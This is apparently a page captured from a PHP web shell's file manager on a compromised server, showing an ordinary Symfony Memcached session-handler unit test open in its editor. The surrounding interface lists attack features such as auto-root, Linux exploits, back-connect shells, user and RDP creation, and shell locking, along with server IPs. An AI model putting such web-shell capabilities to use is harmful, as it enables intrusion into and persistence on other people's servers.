Linux boca.hozzt.com 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
: 159.253.39.62 | : 3.138.204.195
Cant Read [ /etc/named.conf ]
7.4.33
renovkoron
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
opt /
alt /
php55 /
usr /
share /
pear /
test /
HttpFoundation /
Symfony /
Component /
HttpFoundation /
Tests /
Session /
Storage /
Handler /
[ HOME SHELL ]
Name
Size
Permission
Action
MemcacheSessionHandlerTest.php
3.35
KB
-rw-r--r--
MemcachedSessionHandlerTest.ph...
3.22
KB
-rw-r--r--
MongoDbSessionHandlerTest.php
5.79
KB
-rw-r--r--
NativeFileSessionHandlerTest.p...
2.52
KB
-rw-r--r--
NativeSessionHandlerTest.php
1.18
KB
-rw-r--r--
NullSessionHandlerTest.php
1.63
KB
-rw-r--r--
PdoSessionHandlerTest.php
3.86
KB
-rw-r--r--
WriteCheckSessionHandlerTest.p...
2.88
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : MemcachedSessionHandlerTest.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Tests\Session\Storage\Handler; use Symfony\Component\HttpFoundation\Session\Storage\Handler\MemcachedSessionHandler; class MemcachedSessionHandlerTest extends \PHPUnit_Framework_TestCase { const PREFIX = 'prefix_'; const TTL = 1000; /** * @var MemcachedSessionHandler */ protected $storage; protected $memcached; protected function setUp() { if (!class_exists('Memcached')) { $this->markTestSkipped('Skipped tests Memcached class is not present'); } $this->memcached = $this->getMock('Memcached'); $this->storage = new MemcachedSessionHandler( $this->memcached, array('prefix' => self::PREFIX, 'expiretime' => self::TTL) ); } protected function tearDown() { $this->memcached = null; $this->storage = null; } public function testOpenSession() { $this->assertTrue($this->storage->open('', '')); } public function testCloseSession() { $this->assertTrue($this->storage->close()); } public function testReadSession() { $this->memcached ->expects($this->once()) ->method('get') ->with(self::PREFIX.'id') ; $this->assertEquals('', $this->storage->read('id')); } public function testWriteSession() { $this->memcached ->expects($this->once()) ->method('set') ->with(self::PREFIX.'id', 'data', $this->equalTo(time() + self::TTL, 2)) ->will($this->returnValue(true)) ; $this->assertTrue($this->storage->write('id', 'data')); } public function testDestroySession() { $this->memcached ->expects($this->once()) ->method('delete') ->with(self::PREFIX.'id') ->will($this->returnValue(true)) ; $this->assertTrue($this->storage->destroy('id')); } public function testGcSession() { $this->assertTrue($this->storage->gc(123)); } /** * @dataProvider getOptionFixtures */ public function testSupportedOptions($options, $supported) { try { new MemcachedSessionHandler($this->memcached, $options); $this->assertTrue($supported); } catch (\InvalidArgumentException $e) { $this->assertFalse($supported); } } public function getOptionFixtures() { return array( array(array('prefix' => 'session'), true), array(array('expiretime' => 100), true), array(array('prefix' => 'session', 'expiretime' => 200), true), array(array('expiretime' => 100, 'foo' => 'bar'), false), ); } public function testGetConnection() { $method = new \ReflectionMethod($this->storage, 'getMemcached'); $method->setAccessible(true); $this->assertInstanceOf('\Memcached', $method->invoke($this->storage)); } }
Close